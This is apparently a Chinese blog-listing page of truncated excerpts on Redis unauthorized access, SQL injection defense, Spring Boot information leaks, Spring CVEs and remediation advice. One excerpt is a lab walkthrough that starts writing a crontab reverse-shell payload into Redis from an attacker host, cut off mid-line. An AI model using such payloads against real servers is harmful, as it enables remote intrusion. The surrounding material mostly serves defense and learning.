目录一、漏洞描述二、漏洞影响版本三、漏洞危害四、漏洞利用五、修复建议 一、漏洞描述Redis默认情况下，会绑定在0.0.0.0:6379(在redis3.2之后，redis增加了protected-mode，在这个模式下，非绑定IP或者没有配置密码访问时都会报错)，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等等，这样将会将Redis服务暴露在公网上，如果在没有设置密
转载
2023-08-10 13:51:13
1282阅读
常见错误1上图的错误需要添加jar包的版本号，springboot自动生成不需要添加版本号，手动添加的需要指定版本号。所以pom.xml如下方式： 常见错误2新创建springboot项目，pom.xml头部出现红叉。这可能是是因为maven和ide的插件版本不兼容造成的，需要指定maven版本： 常见错误3在启动springboot的时候，如果pom.xml中存在
转载
2018-05-21 11:28:00
303阅读
0x00 利用计划任务反弹shell靶机地址：192.168.230.145kail地址：192.168.230.128启动靶机redis docker环境（实际测试通过docker复现失败，因为权限问题，键值save保存失败，需要单独搭建redis漏洞环境）通过nmap进行服务探测，可以发现存在redis服务利用方式如下设置键值
set xxx "\n * * * * * bash -I &g
转载
2023-11-16 18:01:14
130阅读
上篇文章“sql注入式原理及实例分析”讲了有关sql注入式原理及实例分析，接下来我们继续从6个方面来分析“SQL注入式的防治“希望能对您有帮助。
SQL注入式的危害这么大，那么该如何来防治呢?下面这些建议或许对数据库管理员防治SQL注入式攻 击有一定的帮助。1、 普通用户与系统管理员用户的权限要有严格的区分。
如果一个普通用户在使用查询
转载
2023-12-08 15:38:59
216阅读
分析 目录1. Springboot信息泄露 1.1 可能泄露路由列表 1.2 heapdump 2 实际环境 2.1 Springboot信息泄露测试 2.2 heapdump读取 2.2 heapdump分析 1. Springboot信息泄露1.1 可能泄露路由列
转载
2024-04-17 09:36:05
2440阅读
1.引言 在企业级Java Web项目的开发中，我们少不了对访问控制部分的代码的开发，比如登录，而这部分又往往涉及到应用的安全问题，所以SpringSecurity框架就应运而生了。  
转载
2024-04-28 23:55:55
26阅读
虽说是 Spring 框架，但以下包含并不仅 Spring Framework，Spring Boot，还有 Spring Cloud，Spring Data，Spring Security 等。CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行影响版本：SpringSource Spring Framework 3.0
转载
2023-08-29 18:55:16
5788阅读
## 实现Spring Boot未授权漏洞
### 1. 事情流程
首先，让我们来看一下整个实现Spring Boot未授权漏洞的流程。
```mermaid
journey
title Spring Boot 未授权漏洞实现流程
section 开发环境准备
开发者 -> 获取Spring Boot项目源代码: 1
开发者 -> 导入IDE编
原创
2024-03-01 04:04:14
128阅读
# Spring Boot Heapdump修复建议
## 简介
在使用Spring Boot进行开发的过程中，有时会出现应用程序在运行时占用过多的内存的情况。为了解决这个问题，我们可以使用Heapdump来分析内存泄漏的原因，并提出相应的修复建议。
## Heapdump修复流程
以下是使用Heapdump修复内存泄漏问题的简单流程：
| 步骤 | 描述 |
| --- | --- |
原创
2023-07-08 11:38:06
2689阅读
SQL注入修复建议常用的SQL注入的修复方法有两种。1．过滤危险字符多数CMS都采用过滤危险字符的方式，例如，用正则表达式匹配union、sleep、load_file等关键字。如果匹配到，则退出程序。例如，80sec的防注入代码如下：functionCheckSql($db_string,$querytype='select')
{
global$cfg_cook
原创
精选
2024-01-19 16:32:12
1103阅读
# Spring Boot 未授权路径的处理
在当今的应用程序开发中，安全性已成为一个不可忽视的重要话题。随着Spring Boot的普及，开发者们越来越依赖其构建安全、可扩展的应用程序。然而，在使用Spring Boot时，未授权路径的管理和保护是一个常见但易被遗漏的问题。本文将介绍如何在Spring Boot中处理未授权路径，并提供一些代码示例和最佳实践。
## 什么是未授权路径
未授权
原创
2024-09-17 04:59:25
290阅读
# 如何实现spring boot未授权接口
## 1. 流程
以下是实现Spring Boot未授权接口的步骤：
| 步骤 | 描述 |
|---|---|
| 1 | 创建Spring Boot项目 |
| 2 | 配置数据库连接 |
| 3 | 创建实体类和Repository |
| 4 | 创建Controller并添加未授权接口 |
| 5 | 使用Spring Security
原创
2024-04-06 03:23:48
205阅读
icense，即版权许可证，一般用于收费软件给付费用户提供的访问许可证明。根据应用部署位置的不同，一般可以分为以下两种情况讨论：应用部署在开发者自己的云服务器上。这种情况下用户通过账号登录的形式远程访问，因此只需要在账号登录的时候校验目标账号的有效期、访问权限等信息即可。应用部署在客户的内网环境。因为这种情况开发者无法控制客户的网络环境，也不能保证应用所在服务器可以访问外网，因此通常的做法是使用服
转载
2023-08-16 21:51:13
33阅读
一、漏洞成因： spring cloud在低版本下的 SnakeYAML 依赖组件存在反序列漏洞（所以有的利用叫：springcloud-snakeyaml-rce）二、利用条件 Spring boot版本范围： Spring Boot 2.X 全部无法利用 Spring Boot <=1.4 可以利用成功 Sp
转载
2023-05-30 13:55:03
830阅读
在一个系统中，不同的用户会对应着不同的角色，不同的角色会被赋予不同的权限。不同角色的用户登陆会看到不同的界面，也就是意味着可以使用不同的功能。可以使用Spring security或者Shiro,但是Shiro相对于Spring security来说更轻量一些，更容易上手，因此选择了后者。首先，在Springboot工程的pom文件里添加shiro依赖，如下：<dependency>
转载
2023-10-12 16:06:24
206阅读
介绍逻辑漏洞逻辑漏洞就是指攻击者利用业务的设计缺陷，获取敏感信息或破坏业务的完整性。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越权访问又有水平越权和垂直越权两种，如下所示。水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间，可以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞，可能会造成大批量数据的泄露，严重的甚至会造成用户信息被恶意篡改。垂直越权:就
转载
2023-07-21 21:21:11
49阅读
Web常见漏洞描述及修复建议
原创
2023-08-18 10:08:41
252阅读
1.SQL注入漏洞描述Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行，导致参数中的特殊字符破坏了SQL语句原有逻辑，攻击者可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。修复建议代码层最佳防御sql漏洞方案：使用预编译sql语句查询和绑定变量。（1）使用预编译语句，使用PDO需要注意不要将变量直接拼接到PDO语句中。所
原创
2023-05-06 09:59:32
180阅读
1.sql注入漏洞描述 web程序中对于用户提交的参数未做过滤直接拼接到sql语句中执行，导致参数中的特殊字符破坏了sql语句原有逻辑，攻击者可以利用该漏洞执行任意sql语句、如查询，下载，写入webshell，执行系统命令以及绕过登陆限制等修复建议 代码层最佳防御sql漏洞方案：使用预编译sql语句查询和绑定变量。（1）使用预编译语句，使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查
转载
2023-11-22 13:20:23
678阅读
# REDIS未授权修复教程
## 1. 简介
在进行REDIS服务器的配置时，有时会因为配置错误导致未授权访问，从而使得服务器面临被攻击的风险。本教程旨在教会刚入行的开发者如何修复REDIS未授权问题，保障服务器的安全。
## 2. 修复流程
下面是修复REDIS未授权的流程，我们可以使用表格来展示每个步骤的内容和顺序。
| 步骤 | 描述 |
|-------|------|
| 步
原创
2023-12-15 03:58:44
191阅读
